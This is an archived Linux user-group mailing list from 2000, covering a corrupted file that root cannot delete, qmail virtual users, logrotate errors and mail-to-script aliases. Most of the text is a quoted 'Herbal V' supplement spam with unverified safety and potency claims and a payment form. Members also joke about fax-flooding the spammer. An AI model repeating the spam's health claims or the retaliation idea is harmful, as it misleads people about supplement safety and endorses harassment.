12:16:59AM -0600 References: <3A2DD9DB.2C97A759@tc.umn.edu> Message-ID: <20001206022333.A16917@yahoo.com> On Wed, Dec 06, 2000 at 12:16:59AM -0600, Mike Hicks wrote: > andy@theasis.com wrote: > > > > I have a "file" /usr/include/linux which is misbehaving: > > > > $ ls -l /usr/include/linux > > c--sr-sr-t 1 26736 25601 46, 111 May 11 1999 /usr/include/linux > > > > I can't remove it or change permissions, either using sudo or a direct > > login as root. Get "permission denied" and "can't unlink". > > I'd guess filesystem corruption of some kind. fscking should help. > Take a look at the syslog. If it is the filesystem there will probably be some mention of it in the syslog. Tim From austad at marketwatch.com Wed Dec 6 01:42:54 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:11 2005 Subject: [TCLUG] file permissions: how do I get rid of this thing?? Message-ID: Weird. It looks like a device (like it was created with mknod). It's a character device with setuid 26736:25601. I'm not sure what the major and minor numbers 46 and 111 do. Anyone know? Do an "lsof -n | grep linux" to see if it's in use by anything. lsof might be in /usr/sbin or /sbin. It would be interesting to know what created that. Jay > -----Original Message----- > From: Tim Sandquist [mailto:tsandqui@yahoo.com] > Sent: Wednesday, December 06, 2000 2:24 AM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] file permissions: how do I get rid of > this thing?? > > > On Wed, Dec 06, 2000 at 12:16:59AM -0600, Mike Hicks wrote: > > andy@theasis.com wrote: > > > > > > I have a "file" /usr/include/linux which is misbehaving: > > > > > > $ ls -l /usr/include/linux > > > c--sr-sr-t 1 26736 25601 46, 111 May 11 1999 > /usr/include/linux > > > > > > I can't remove it or change permissions, either using > sudo or a direct > > > login as root. Get "permission denied" and "can't unlink". > > > > I'd guess filesystem corruption of some kind. fscking should help. > > > Take a look at the syslog. If it is the filesystem there > will probably be > some mention of it in the syslog. > > Tim > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From andy at theasis.com Wed Dec 6 10:11:25 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:13:11 2005 Subject: [TCLUG] file permissions: how do I get rid of this thing?? In-Reply-To: Message-ID: > Weird. It looks like a device (like it was created with mknod). It's a > character device with setuid 26736:25601. I'm not sure what the major and > minor numbers 46 and 111 do. Anyone know? That's more insight than I managed. However, I'm afraid I'll leave that as an academic question. > > Do an "lsof -n | grep linux" to see if it's in use by anything. nothing... > be in /usr/sbin or /sbin. It would be interesting to know what created > that. Initially I suggested a kernel-headers-2.4 rpm, because that turned up in the first 'rpm -qf /usr/include/linux' that I tried. So I did 'rpm -e kernel-headers-2.4' with a force, but the file remained (not surprisingly). I finally gave up and yanked all the other files off to a temporary location on another partition, then did a reformat (mke2fs) of the /usr partition. Now I've moved everything back to the reformatted /usr, and everything seems more or less sane. Now I must build /usr/include/linux, which I've done by making a symlink to /usr/src/linux/include/linux/, per Yaron's suggestion, and to match another RH7 box here. Andy > Jay From sos at zjod.net Wed Dec 6 10:33:56 2000 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:13:11 2005 Subject: [TCLUG] file permissions: how do I get rid of this thing?? In-Reply-To: from "andy@theasis.com" at Dec 05, 2000 11:23:41 PM Message-ID: <200012061633.KAA09619@zjod.net> andy@theasis.com wrote: > > > I have a "file" /usr/include/linux which is misbehaving: > > $ ls -l /usr/include/linux > c--sr-sr-t 1 26736 25601 46, 111 May 11 1999 /usr/include/linux > > I can't remove it or change permissions, either using sudo or a direct > login as root. Get "permission denied" and "can't unlink". > > It's *supposed* to be either a directory, or a symlink to one. This isn't > either a directory or a symlink. > > Any ideas about how I can axe the thing, given that root can't seem to > chmod or delet it? > > This is a redhat 7.0 system, upgraded from 6.2 via the 7.0 beta (6.9). I > suspect that the file was put there as part of the kernel-headers-2.4.?? > by that beta install. Check /usr/include/linux with lsattr (it's in the e2fsprogs RPM). It should say something like: PROMPT=> lsattr /usr/include/linux -------- /usr/include/linux PROMPT=> If it doesn't, clear the appropiate bits with chattr... From andyzb at ltiflex.com Wed Dec 6 10:59:27 2000 From: andyzb at ltiflex.com (Andy Zbikowski) Date: Mon Jan 17 13:13:11 2005 Subject: [TCLUG] file permissions: how do I get rid of this thing?? References: Message-ID: <3A2E706F.7A02DB0E@ltiflex.com> > Now I must build /usr/include/linux, which I've done by making a symlink > to /usr/src/linux/include/linux/, per Yaron's suggestion, and to match > another RH7 box here. That's actually a bad thing. /usr/include/linux should have the headers of the kernel your libiaries and programs were compiled agnist. Red Hat/Debian, and other intentionally put these headers here instead of a sym link to /usr/src/linux/include/linux so that the headers do not get overwritten by extracting the latest kernel source to /usr/src/linux. If you do overwrite these files your system will most likely function, but you make get some wierd error messages when you try and compile things (probally nithing serious unless you switch to the 2.4 kernel series) Personally, I'd stick with whatever files the packager wanted there, espically since RedHat 7 has enough compiler issues to start with. At least in the case of Red Hat and Debian, it is ok to compile your kernel in /usr/src/linux (kinda recomended if you're using make-kpkg...) -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 From andy at theasis.com Wed Dec 6 11:19:17 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:13:11 2005 Subject: [TCLUG] file permissions: how do I get rid of this thing?? In-Reply-To: <3A2E706F.7A02DB0E@ltiflex.com> Message-ID: > > Now I must build /usr/include/linux, which I've done by making a symlink > > to /usr/src/linux/include/linux/, per Yaron's suggestion, and to match > > another RH7 box here. > > That's actually a bad thing. OK, your explanation makes sense, and more specifically brings home all the previous discussion of these headers that I've seen. I can dump the symlink, and copy the files directly from another laptop installation, which it turns out doesn't use a symlink but has a proper directory. Thanks, Andy > -- > Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com From andy at theasis.com Wed Dec 6 11:32:29 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:13:11 2005 Subject: [TCLUG] file permissions: how do I get rid of this thing?? In-Reply-To: <200012061633.KAA09619@zjod.net> Message-ID: > Check /usr/include/linux with lsattr (it's in the e2fsprogs RPM). It should > say something like: > PROMPT=> lsattr /usr/include/linux > -------- /usr/include/linux > PROMPT=> > > If it doesn't, clear the appropiate bits with chattr... Dang... that sounds like it would have been useful. Unfortunately, by the time I got this suggestion, I'd already reformatted the partition. Thanks tho. Andy From dieman at ringworld.org Wed Dec 6 12:19:22 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:13:11 2005 Subject: [TCLUG] Mail farms In-Reply-To: ; from austad@marketwatch.com on Wed, Dec 06, 2000 at 01:00:21AM -0600 References: Message-ID: <20001206121922.L15922@ringworld.org> * Austad, Jay [001206 01:05]: > I think you can do what you just described below with qmail, without having > actual user accounts on the machine. You should be able to use the qmail You can easily do this with any MTA if you choose procmail as the local delievery agent and cook up a rule to autoreply and forward. -- Scott Dier #nicnac@efnet http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... 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But, again, are there any existing conventions or documents on setting up pseudo-home directories and doing user-specific filtering for virtual users? -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From blutgens at sistina.com Wed Dec 6 13:14:42 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:11 2005 Subject: [TCLUG] Mail farms In-Reply-To: <20001206122439.B23330@sherohman.org>; from esper@sherohman.org on Wed, Dec 06, 2000 at 12:24:40PM -0600 References: <20001206121922.L15922@ringworld.org> <20001206122439.B23330@sherohman.org> Message-ID: <20001206131442.D2313@socrates.sistina.com> On Wed, Dec 06, 2000 at 12:24:40PM -0600, Dave Sherohman wrote: > >But, again, are there any existing conventions or documents on setting up >pseudo-home directories and doing user-specific filtering for virtual users? > Take a look at qmail.org -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001206/fd4b9552/attachment.pgp From goldman at htc.honeywell.com Wed Dec 6 13:23:11 2000 From: goldman at htc.honeywell.com (Robert P. Goldman) Date: Mon Jan 17 13:13:11 2005 Subject: [TCLUG] question about logging Message-ID: <14894.37407.552888.202114@mn65-zippy.htc.honeywell.com> I've been having some odd things happening with my stock RedHat install's logging. I get a lot of logrotate errors, the errors being in the postrotate of the following logs: /var/log/samba/log.smb /var/log/httpd/access_log /var/log/httpd/error_log /var/log/samba/log.nmb Now, actually, I KNOW why these errors are occurring: because I'm not RUNNING the samba daemon or the http daemon, and the postrotate scripts do the following: /var/log/samba/log.nmb { postrotate /usr/bin/killall -HUP nmbd endscript } So what's the right thing to do here? I don't want to stop logging these things, actually, because what if the daemons get restarted, either accidentally or on purpose? Then I'd have to remember to go back and restore this stuff. I'd rather have good logging set up now, even for things I'm not using, rather than bust good logging and have to remember that when I want to start a service I have to also set up its logging and logrotation. So, is it possible to enhance the script to check for the presence of the daemon process before trying to kill them? Or is there something else I should do? Many thanks! Robert From austad at marketwatch.com Wed Dec 6 13:26:43 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:12 2005 Subject: [TCLUG] Mail farms Message-ID: Doh! qmail.org seems to be down right now. I think what you are looking for is in the qmail FAQ. Do a search on google for qmail faq. Jay > -----Original Message----- > From: Ben Lutgens [mailto:blutgens@sistina.com] > Sent: Wednesday, December 06, 2000 1:15 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Mail farms > > > On Wed, Dec 06, 2000 at 12:24:40PM -0600, Dave Sherohman wrote: > > > >But, again, are there any existing conventions or documents > on setting up > >pseudo-home directories and doing user-specific filtering > for virtual users? > > > Take a look at qmail.org > -- > Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ > Sistina Software Inc. work: 612.379.3951 > Code Monkey Support (A.K.A. System Administrator) > Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 > From dopp at acm.cs.umn.edu Wed Dec 6 13:34:55 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:13:12 2005 Subject: [TCLUG] question about logging In-Reply-To: <14894.37407.552888.202114@mn65-zippy.htc.honeywell.com>; from goldman@htc.honeywell.com on Wed, Dec 06, 2000 at 01:23:11PM -0600 References: <14894.37407.552888.202114@mn65-zippy.htc.honeywell.com> Message-ID: <20001206133455.A15602@sorry.cs.umn.edu> > > /var/log/samba/log.nmb { > postrotate > /usr/bin/killall -HUP nmbd > endscript > } > Just put that in an if statement. Unfortunately, I dunno what kind of script it is, so I can't give you the syntax. What's the script name? Also, what version of RedHat is it? Have you applied all the latest patches? I've got a bunch of RH6.2 machines with all the latest patches and I don't have this problem. Gabe -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "Question with boldness even the existence of a god." - Thomas Jefferson ------------------------------------------------------------------------------- From esper at sherohman.org Wed Dec 6 13:45:33 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:13:12 2005 Subject: [TCLUG] Mail farms In-Reply-To: ; from austad@marketwatch.com on Wed, Dec 06, 2000 at 01:26:43PM -0600 References: Message-ID: <20001206134533.D23330@sherohman.org> On Wed, Dec 06, 2000 at 01:26:43PM -0600, Austad, Jay wrote: > Doh! qmail.org seems to be down right now. I think what you are looking > for is in the qmail FAQ. Do a search on google for qmail faq. It doesn't appear to be in the FAQ. (More specifically, it's not in the 'Routing incoming messages by user' section, which I read in its entirety, and none of the questions in other sections appear to be related.) Well, back to reading LDAP RFCs and hoping qmail.org comes back up... -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From barnabas at knicknack.net Wed Dec 6 14:03:25 2000 From: barnabas at knicknack.net (Eric Stanley) Date: Mon Jan 17 13:13:12 2005 Subject: [TCLUG] Mail farms In-Reply-To: ; from austad@marketwatch.com on Wed, Dec 06, 2000 at 01:26:43PM -0600 References: Message-ID: <20001206140325.A30415@knicknack.net> You could also try http://cr.yp.to or search for the Life with Qmail document. Eric On Wed, Dec 06, 2000 at 01:26:43PM -0600, Austad, Jay wrote: > Doh! qmail.org seems to be down right now. I think what you are looking > for is in the qmail FAQ. Do a search on google for qmail faq. > > Jay > From destef at theo.egoode.com Wed Dec 6 17:06:18 2000 From: destef at theo.egoode.com (destef@theo.egoode.com) Date: Mon Jan 17 13:13:12 2005 Subject: [TCLUG] file permissions: how do I get rid of this thing?? In-Reply-To: Message-ID: It's filesystem corruption. I've had that happen to many files before. If its bad enough then fsck can't fix it and you'll have to re-format. The wierd file permissions, uid, gid, and major/minors are a result of random numbers being written into the bytes for the files's i-node. Try fsck, but my guess is you'll have to re-format because you cant even delete files messed up like this. They could also spread like a virus to the rest of the partition (figuratively, not like an actual virus) further corrupting other fs entries. Jason On Tue, 5 Dec 2000 andy@theasis.com wrote: > > I have a "file" /usr/include/linux which is misbehaving: > > $ ls -l /usr/include/linux > c--sr-sr-t 1 26736 25601 46, 111 May 11 1999 /usr/include/linux > > I can't remove it or change permissions, either using sudo or a direct > login as root. Get "permission denied" and "can't unlink". > > It's *supposed* to be either a directory, or a symlink to one. This isn't > either a directory or a symlink. > > Any ideas about how I can axe the thing, given that root can't seem to > chmod or delet it? > > This is a redhat 7.0 system, upgraded from 6.2 via the 7.0 beta (6.9). I > suspect that the file was put there as part of the kernel-headers-2.4.?? > by that beta install. > > Thanks, > > Andy > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From mjn at umn.edu Wed Dec 6 17:18:59 2000 From: mjn at umn.edu (mjn) Date: Mon Jan 17 13:13:12 2005 Subject: [TCLUG] A little clarification... In-Reply-To: <004401c05ee8$ec9dc4c0$650aa8c0@cccu.com> Message-ID: > Piping to a script in /etc/mail/aliases (or wherever) is probably your easiest > solution. Just pipe to a custom script in your language of choice (I'd use Perl > and Mail::Sendmail) that would gobble up the incoming mail, parse the alias > files and whatnot, and send the appropriate reply to the appropriate parties. Anyone know a safe and easy way to pipe an incoming mail to a script and have it run the script? Right now sendmail is complaining that there is no recipient... My Alias: script_test: mjn,"|/etc/smrsh/old_host_notify" ____________________________ Mike Neuharth ADCS Technology Specialist http://www.umn.edu/adcs E-Mail : mjn@umn.edu Page Mail : 6126486512@page.metrocall.com http://nifty.dsl.visi.com/ ____________________________ From mkroska at readynetgo.com Wed Dec 6 18:19:16 2000 From: mkroska at readynetgo.com (Mark K) Date: Mon Jan 17 13:13:12 2005 Subject: [TCLUG] A little clarification... In-Reply-To: Message-ID: Did you have the script set to chmod 755? This would also work in a .forward file, right? (1 item per line) my (binary) 10 cents MK On Wed, 6 Dec 2000, mjn wrote: > > Piping to a script in /etc/mail/aliases (or wherever) is probably your easiest > > solution. Just pipe to a custom script in your language of choice (I'd use Perl > > and Mail::Sendmail) that would gobble up the incoming mail, parse the alias > > files and whatnot, and send the appropriate reply to the appropriate parties. > > Anyone know a safe and easy way to pipe an incoming mail to a script and > have it run the script? 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It works again!" > - Sid R., Lakeland, Florida > > "I had sex four times in one night. It made me feel > like a 19-year-old again." > - Chip S, Beech Mountain, North Carolina > > "Herbal V has turned my husband into a Sexual Superman! > I like the fact that it's all natural and has no > side effects. It's bringing back the good old days." > - Jennifer B, Beverly Hills, California > > The above testimonials are from product literature, > and we have not independently verified them. > However, the following testimonial is from a "senior" > gentleman who has purchased his second bottle of > Herbal V. When we heard his words with our own ears, > we asked his permission to print them here. > > "Man! I'm wild as I can be! I feel like I'm 25 years old again! > I'm not believing this!" > - Mr. Murphy, age 64, Lampart, IL. > > > > Risk Free: Double Your Money Back Guarantee > > If Herbal V does not give the desired results as stated > above, simply return the unused portion for a > double-your money back refund. No questions asked ! > > Order Now: Safe, Fast, Secure, Private > > Herbal V with its DOUBLE YOUR MONEY BACK GUARANTEE is > available only through this special promotional offer. > Herbal V arrives in plain packaging for your privacy. > Any and all information is kept strictly confidential. > > Payment Methods > > You may FAX or Postal Mail Checks, MasterCard, Visa, > & American Express.payments. Money Orders > are accepted only by Postal Mail. > > > Each bottle of Herbal V contains 30 tablets, approximately > a 1 month supply. > > > Step 1: Place a check by your desired quanity. > > > ______ 1 Bottle of Herbal V $28 > > > ______ 2 Bottles of Herbal V $48 > > > ______ 3 Bottles of Herbal V $59 > > > Please add $6 shipping and handling for any size order. > [ Total cost including shipping & handling, > 1 bottle=$34, 2 bottles=$54, 3 bottles=$65 ] > > International Orders > Please add $18 shipping and handling for any size order. > [ Total cost including shipping & handling, > 1 bottle=$46, 2 bottles=$66, 3 bottles=$77 ] > We cannot accept foreign checks. > International money orders or credit cards only. > > Step 2: Place a check by your desired payment method > and complete fields if necessary. > > > _____Check or CHECK-BY-FAX [details below] > > > _____Money Order > > > _____American Express > Account Number__________________ Exp____/____ > > _____Visa > Account Number__________________ Exp____/____ > > _____MasterCard > Account Number__________________ Exp____/____ > > > > Step 3: Please complete and print the following fields clearly. > > > Name ___________________________________________________ > > > Address _________________________________________________ > > > City ____________________________________________________ > > > State ___________________________________________________ > > > Zip _____________________________________________________ > > > E-mail __________________________________________________ > > > Signature _________________________________________________ > [ required for check and credit card orders] > > > > Toll Free FAX Order Line: 1-800-940-6590 > If faxing in your order, please state whether you require > a fax, email, or no confirmation at all. > Allow up to one day for confirmation, if requested. > FAX orders are processed immediately. > > Or, print & mail to: LSN > 273 S. State Rd. 7, #193 > Margate, FL 33068-5727 > > > ______________________________________________________ > > > *CHECK BY FAX ORDERS: Complete the check as normal. Tape > the check in the area below. Below the check, clearly write > the check number, all numbers at the bottom of the check, > & your name. Tape the check below and fax the check to the > toll free FAX number above. Void the check. Our merchant > will electronically debit your account for the amount of > the check; your reference number for this transaction will > be your check number. Nothing could be safer & easier ! > > TAPE CHECK BELOW > > > > > > > > > > > > > > > > _____________________________________________________________ > > This is a one time mailing: Removal is automatic and no further > contact is necessary. Please Note: Herbal V is not intended to > diagnose, treat, cure or prevent any disease. As individuals differ, > so will results. Herbal V helps provide herbal and nutritional support > for male sexual performance. The FDA has not evaluated these > statements. For details about our double your money back guarantee, > please write to the above address, attention consumer affairs > department; enclose a self addressed stamped envelope for this and any > requested contact information. > Thank You. > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list ------ http://USFamily.Net/info - Unlimited Internet - From $7.99/mo! ------ From drew at usfamily.net Wed Dec 6 21:13:50 2000 From: drew at usfamily.net (Andrew Nemchenko) Date: Mon Jan 17 13:13:13 2005 Subject: [TCLUG] At Last, Herbal V, the All Natural Alternative is Available! References: <200012070304.eB734cn24153@sprite.real-time.com> Message-ID: <001a01c05ffb$b91d2960$a221a0d8@gateway> You know they do give a fax number. Would it be possible to subscribe them to the TCLUG list and then setup a fax modem to FAX instead of emailing the postings to them??? It would be perfectly legal, just like those telemarketers calling at dinner time. ____________________________________________________ If what I say offends you then it was probably meant to do so Andrew Nemchenko drew@usfamily.net Home: 651-681-8572 Work: 952-932-4081 Pager: 612-264-1737 http://www.kuzmich.cjb.net ----- Original Message ----- From: To: Sent: Wednesday, December 06, 2000 9:04 PM Subject: [TCLUG] At Last, Herbal V, the All Natural Alternative is Available! > > Herbal V: An Incredible All-Natural Healthy Alternative To V----a > > > Herbal V is the All Natural Approach to Male Virility, > Vitality and Pleasure. > > > > Available N o w ! > > > Welcome to the New Sexual Revolution. > > It's the all natural male potency and pleasure pill that men > everywhere are buzzing about. Herbal V is safe, natural and > specifically formulated to help support male sexual function > and pleasure. You just take two easy-to-swallow tablets > one hour before sex. And there's more great news - you can > get Herbal V for less than $1 a pill. > > Amazing word of mouth praise on Herbal V has been spreading > like wildfire-already over 1,500,000 men have chosen > Herbal V. Since it is 100% natural you will never have > to worry about safety. Try doctor-recommended Herbal V > today and have the greatest night of your life! > > > Herbal V... Bringing Back the Magic! > > > 1,585,000 men can't be wrong. To date over 1 million men > have tried the super supplement Herbal V. > Here is why: > > No Doctor Visit Required > Available Over the Counter > Not a Drug > 100% Natural > Safe, No Worries > Highest Quality Pharmaceutical-Grade Pure Nutriceuticals > Guaranteed Potency & Purity > > Be a Real Man Again! > > Questions and Answers > > What is Herbal V? > > Herbal V is a proprietary blend that was specifically > developed as a safe alternative for men who prefer > an all-natural approach to address impotence and boost > sexual performance. This amazing formula first became > popular with Hollywood insiders and the wealthy elite. > They were maximizing their sex lives, long before it > was available to the general public. > > How does Herbal V work? > > Developed by a team whose goal was to create the perfect > all-natural aphrodisiac. Herbal V is the result of that > remarkable effort. The Herbal V formula contains a precise > blend of cutting edge pro-sexual nutrients from around > the world that provide nutritional support, making it > possible for a man to have a pleasurable sexual experience. > > What can Herbal V do for me? > > Herbal V helps support male sexual function and > pleasure in a safe and natural manner. Simply put, > it can make your sex life incredible. > > Is Herbal V Safe? > > One of the great things about Herbal V is that it is > not a drug. It is an incredible herbal dietary supplement > that provides nutritional support for male sexual function > and pleasure. One of the most comforting features of > Herbal V is that you never have to worry about safety. > > Herbal V: Safe - Natural - Exciting > > Many have speculated that because Herbal V is so > popular with men, it must contain prescription drugs > or chemical components. Herbal V does not contain any > elements or traces of any prescription drug. Herbal V > is made using the world's most technologically advanced > state-of-the-art cold processing equipment to ensure > maximum purity. Herbal V has been independently analyzed > by the nation's premier testing facility to ensure purity, > quality and to end the rumors that, because it is so > popular, it must somehow be chemical. It is not. > Herbal V is natural - just as it says on the label. > Herbal V is simply fantastic! > > Herbal V: Ingredients > > Yohimbe, saw palmetto, avena sativa, androstenedione, > guarana, taurine, siberian ginseng, tribulus terrestris. > Tribulus Terrestis is certified to enhanced testosterone > levels by increasing Luteinzing hormone (LH) levels. > Androstenedione which is a precursor to testosterone > unlocks bound testosterone and makes it biologically > active again quickly. This means a dramatic surge in > desire. Avena Sativa Stimulates the neurotransmitter > pleasure centers to maximum capacity. This greatly > intensifies pleasure. > > Just listen to what Herbal V has done for the sex lives > of people like you! > > "On a scale of 1 to 10, it's a 15. Electrifying. It's like > a wonder pill!" > - Justin Q B., New Haven, Texas > > "I haven't had sexual relations in 11 years. Then with > Herbal V it was... wow! It works again!" > - Sid R., Lakeland, Florida > > "I had sex four times in one night. It made me feel > like a 19-year-old again." > - Chip S, Beech Mountain, North Carolina > > "Herbal V has turned my husband into a Sexual Superman! > I like the fact that it's all natural and has no > side effects. It's bringing back the good old days." > - Jennifer B, Beverly Hills, California > > The above testimonials are from product literature, > and we have not independently verified them. > However, the following testimonial is from a "senior" > gentleman who has purchased his second bottle of > Herbal V. When we heard his words with our own ears, > we asked his permission to print them here. > > "Man! I'm wild as I can be! I feel like I'm 25 years old again! > I'm not believing this!" > - Mr. Murphy, age 64, Lampart, IL. > > > > Risk Free: Double Your Money Back Guarantee > > If Herbal V does not give the desired results as stated > above, simply return the unused portion for a > double-your money back refund. No questions asked ! > > Order Now: Safe, Fast, Secure, Private > > Herbal V with its DOUBLE YOUR MONEY BACK GUARANTEE is > available only through this special promotional offer. > Herbal V arrives in plain packaging for your privacy. > Any and all information is kept strictly confidential. > > Payment Methods > > You may FAX or Postal Mail Checks, MasterCard, Visa, > & American Express.payments. Money Orders > are accepted only by Postal Mail. > > > Each bottle of Herbal V contains 30 tablets, approximately > a 1 month supply. > > > Step 1: Place a check by your desired quanity. > > > ______ 1 Bottle of Herbal V $28 > > > ______ 2 Bottles of Herbal V $48 > > > ______ 3 Bottles of Herbal V $59 > > > Please add $6 shipping and handling for any size order. > [ Total cost including shipping & handling, > 1 bottle=$34, 2 bottles=$54, 3 bottles=$65 ] > > International Orders > Please add $18 shipping and handling for any size order. > [ Total cost including shipping & handling, > 1 bottle=$46, 2 bottles=$66, 3 bottles=$77 ] > We cannot accept foreign checks. > International money orders or credit cards only. > > Step 2: Place a check by your desired payment method > and complete fields if necessary. > > > _____Check or CHECK-BY-FAX [details below] > > > _____Money Order > > > _____American Express > Account Number__________________ Exp____/____ > > _____Visa > Account Number__________________ Exp____/____ > > _____MasterCard > Account Number__________________ Exp____/____ > > > > Step 3: Please complete and print the following fields clearly. > > > Name ___________________________________________________ > > > Address _________________________________________________ > > > City ____________________________________________________ > > > State ___________________________________________________ > > > Zip _____________________________________________________ > > > E-mail __________________________________________________ > > > Signature _________________________________________________ > [ required for check and credit card orders] > > > > Toll Free FAX Order Line: 1-800-940-6590 > If faxing in your order, please state whether you require > a fax, email, or no confirmation at all. > Allow up to one day for confirmation, if requested. > FAX orders are processed immediately. > > Or, print & mail to: LSN > 273 S. State Rd. 7, #193 > Margate, FL 33068-5727 > > > ______________________________________________________ > > > *CHECK BY FAX ORDERS: Complete the check as normal. Tape > the check in the area below. Below the check, clearly write > the check number, all numbers at the bottom of the check, > & your name. Tape the check below and fax the check to the > toll free FAX number above. Void the check. Our merchant > will electronically debit your account for the amount of > the check; your reference number for this transaction will > be your check number. Nothing could be safer & easier ! > > TAPE CHECK BELOW > > > > > > > > > > > > > > > > _____________________________________________________________ > > This is a one time mailing: Removal is automatic and no further > contact is necessary. Please Note: Herbal V is not intended to > diagnose, treat, cure or prevent any disease. As individuals differ, > so will results. Herbal V helps provide herbal and nutritional support > for male sexual performance. The FDA has not evaluated these > statements. For details about our double your money back guarantee, > please write to the above address, attention consumer affairs > department; enclose a self addressed stamped envelope for this and any > requested contact information. > Thank You. > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list ------ http://USFamily.Net/info - Unlimited Internet - From $7.99/mo! ------ From austad at marketwatch.com Wed Dec 6 21:33:30 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:13 2005 Subject: [TCLUG] At Last, Herbal V, the All Natural Alternative is Ava ilable! Message-ID: Maybe we could rig something with http://www.freefax.com and a carefully crafted script that gets called with procmail.... :) > -----Original Message----- > From: Andrew Nemchenko [mailto:drew@usfamily.net] > Sent: Wednesday, December 06, 2000 9:14 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] At Last, Herbal V, the All Natural Alternative is > Available! > > > You know they do give a fax number. Would it be possible to > subscribe them > to the TCLUG list and then setup a fax modem to FAX instead > of emailing the > postings to them??? It would be perfectly legal, just like those > telemarketers calling at dinner time. > > > ____________________________________________________ > If what I say offends you then it was probably meant to do so > > > Andrew Nemchenko > drew@usfamily.net > Home: 651-681-8572 > Work: 952-932-4081 > Pager: 612-264-1737 > http://www.kuzmich.cjb.net > > ----- Original Message ----- > From: > To: > Sent: Wednesday, December 06, 2000 9:04 PM > Subject: [TCLUG] At Last, Herbal V, the All Natural Alternative is > Available! > > > > > > Herbal V: An Incredible All-Natural Healthy Alternative To V----a > > > > > > Herbal V is the All Natural Approach to Male Virility, > > Vitality and Pleasure. > > > > > > > > Available N o w ! > > > > > > Welcome to the New Sexual Revolution. > > > > It's the all natural male potency and pleasure pill that men > > everywhere are buzzing about. Herbal V is safe, natural and > > specifically formulated to help support male sexual function > > and pleasure. You just take two easy-to-swallow tablets > > one hour before sex. And there's more great news - you can > > get Herbal V for less than $1 a pill. > > > > Amazing word of mouth praise on Herbal V has been spreading > > like wildfire-already over 1,500,000 men have chosen > > Herbal V. Since it is 100% natural you will never have > > to worry about safety. Try doctor-recommended Herbal V > > today and have the greatest night of your life! > > > > > > Herbal V... Bringing Back the Magic! > > > > > > 1,585,000 men can't be wrong. To date over 1 million men > > have tried the super supplement Herbal V. > > Here is why: > > > > No Doctor Visit Required > > Available Over the Counter > > Not a Drug > > 100% Natural > > Safe, No Worries > > Highest Quality Pharmaceutical-Grade Pure Nutriceuticals > > Guaranteed Potency & Purity > > > > Be a Real Man Again! > > > > Questions and Answers > > > > What is Herbal V? > > > > Herbal V is a proprietary blend that was specifically > > developed as a safe alternative for men who prefer > > an all-natural approach to address impotence and boost > > sexual performance. This amazing formula first became > > popular with Hollywood insiders and the wealthy elite. > > They were maximizing their sex lives, long before it > > was available to the general public. > > > > How does Herbal V work? > > > > Developed by a team whose goal was to create the perfect > > all-natural aphrodisiac. Herbal V is the result of that > > remarkable effort. The Herbal V formula contains a precise > > blend of cutting edge pro-sexual nutrients from around > > the world that provide nutritional support, making it > > possible for a man to have a pleasurable sexual experience. > > > > What can Herbal V do for me? > > > > Herbal V helps support male sexual function and > > pleasure in a safe and natural manner. Simply put, > > it can make your sex life incredible. > > > > Is Herbal V Safe? > > > > One of the great things about Herbal V is that it is > > not a drug. It is an incredible herbal dietary supplement > > that provides nutritional support for male sexual function > > and pleasure. One of the most comforting features of > > Herbal V is that you never have to worry about safety. > > > > Herbal V: Safe - Natural - Exciting > > > > Many have speculated that because Herbal V is so > > popular with men, it must contain prescription drugs > > or chemical components. Herbal V does not contain any > > 